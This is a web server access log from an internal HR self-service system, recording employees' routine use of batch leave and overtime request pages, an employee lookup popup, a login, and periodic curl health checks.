192.168.11.197 - - [06/Sep/2025:13:32:17 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:32:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:32:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.197 - - [06/Sep/2025:13:32:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:32:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.197 - - [06/Sep/2025:13:33:09 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.06799853787716292 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:33:09 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.06799853787716292 HTTP/1.1" 200 8456
192.168.11.197 - - [06/Sep/2025:13:33:35 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.06799853787716292 HTTP/1.1" 200 10639 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.06799853787716292" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:33:35 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.06799853787716292 HTTP/1.1" 200 10639
100.64.0.1 - - [06/Sep/2025:13:34:21 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:13:34:21 +0800] "GET / HTTP/1.1" 200 439
192.168.11.197 - - [06/Sep/2025:13:34:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4127697195588852 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:34:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4127697195588852 HTTP/1.1" 200 8456
192.168.11.197 - - [06/Sep/2025:13:34:46 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4127697195588852 HTTP/1.1" 200 10636 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4127697195588852" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:34:46 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4127697195588852 HTTP/1.1" 200 10636
192.168.11.197 - - [06/Sep/2025:13:35:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8186189724695206 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:35:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8186189724695206 HTTP/1.1" 200 8456
192.168.11.197 - - [06/Sep/2025:13:35:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8186189724695206 HTTP/1.1" 200 10631 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8186189724695206" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:35:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8186189724695206 HTTP/1.1" 200 10631
192.168.11.197 - - [06/Sep/2025:13:35:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4624 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:35:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4624
192.168.11.197 - - [06/Sep/2025:13:35:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:35:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.197 - - [06/Sep/2025:13:36:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5101907041712364 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:36:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5101907041712364 HTTP/1.1" 200 8456
192.168.11.197 - - [06/Sep/2025:13:36:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5101907041712364 HTTP/1.1" 200 10636 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5101907041712364" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:36:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5101907041712364 HTTP/1.1" 200 10636
100.64.0.1 - - [06/Sep/2025:13:37:07 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:13:37:07 +0800] "GET / HTTP/1.1" 200 439
192.168.11.197 - - [06/Sep/2025:13:37:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:37:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204
192.168.11.197 - - [06/Sep/2025:13:37:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:37:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.197 - - [06/Sep/2025:13:38:23 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:38:23 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.197 - - [06/Sep/2025:13:38:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2706399812958127 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:38:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2706399812958127 HTTP/1.1" 200 8456
192.168.11.197 - - [06/Sep/2025:13:38:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2706399812958127 HTTP/1.1" 200 10635 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2706399812958127" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:38:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2706399812958127 HTTP/1.1" 200 10635
192.168.11.76 - - [06/Sep/2025:13:40:39 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.76 - - [06/Sep/2025:13:40:39 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:41:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:41:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204
192.168.11.76 - - [06/Sep/2025:13:41:14 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:41:14 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:41:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.76 - - [06/Sep/2025:13:41:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:41:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.76 - - [06/Sep/2025:13:41:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:41:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:41:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.76 - - [06/Sep/2025:13:41:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.76 - - [06/Sep/2025:13:41:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:42:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21427916881573938 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:42:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21427916881573938 HTTP/1.1" 200 8456
192.168.11.197 - - [06/Sep/2025:13:43:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07497063707386653 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:43:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07497063707386653 HTTP/1.1" 200 8456
192.168.11.197 - - [06/Sep/2025:13:43:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07497063707386653 HTTP/1.1" 200 10638 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07497063707386653" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:43:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07497063707386653 HTTP/1.1" 200 10638
192.168.11.197 - - [06/Sep/2025:13:44:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4205 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:44:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4205
192.168.11.197 - - [06/Sep/2025:13:44:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:44:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.76 - - [06/Sep/2025:13:46:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.389919880975814 HTTP/1.1" 200 8712 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:46:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.389919880975814 HTTP/1.1" 200 8712
192.168.11.76 - - [06/Sep/2025:13:47:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.389919880975814 HTTP/1.1" 200 13502 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.389919880975814" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:47:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.389919880975814 HTTP/1.1" 200 13502
192.168.11.197 - - [06/Sep/2025:13:47:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6732954942829328 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:47:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6732954942829328 HTTP/1.1" 200 8456
192.168.11.197 - - [06/Sep/2025:13:48:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6732954942829328 HTTP/1.1" 200 10639 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6732954942829328" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:48:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6732954942829328 HTTP/1.1" 200 10639
192.168.11.76 - - [06/Sep/2025:13:48:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:48:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063
192.168.11.197 - - [06/Sep/2025:13:48:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:48:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207
192.168.11.76 - - [06/Sep/2025:13:48:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:48:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.197 - - [06/Sep/2025:13:49:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.197 - - [06/Sep/2025:13:49:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:13:51:56 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:13:51:56 +0800] "GET / HTTP/1.1" 200 439
192.168.11.76 - - [06/Sep/2025:13:51:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6470382158847927 HTTP/1.1" 200 8712 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:51:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6470382158847927 HTTP/1.1" 200 8712
192.168.11.76 - - [06/Sep/2025:13:52:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6470382158847927 HTTP/1.1" 200 13502
192.168.11.76 - - [06/Sep/2025:13:52:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6470382158847927 HTTP/1.1" 200 13502 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6470382158847927" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:52:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:52:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066
100.64.0.1 - - [06/Sep/2025:13:52:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:13:52:23 +0800] "GET / HTTP/1.1" 200 439
192.168.11.76 - - [06/Sep/2025:13:52:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:52:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.76 - - [06/Sep/2025:13:52:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6908431077106825 HTTP/1.1" 200 8712 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:52:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6908431077106825 HTTP/1.1" 200 8712
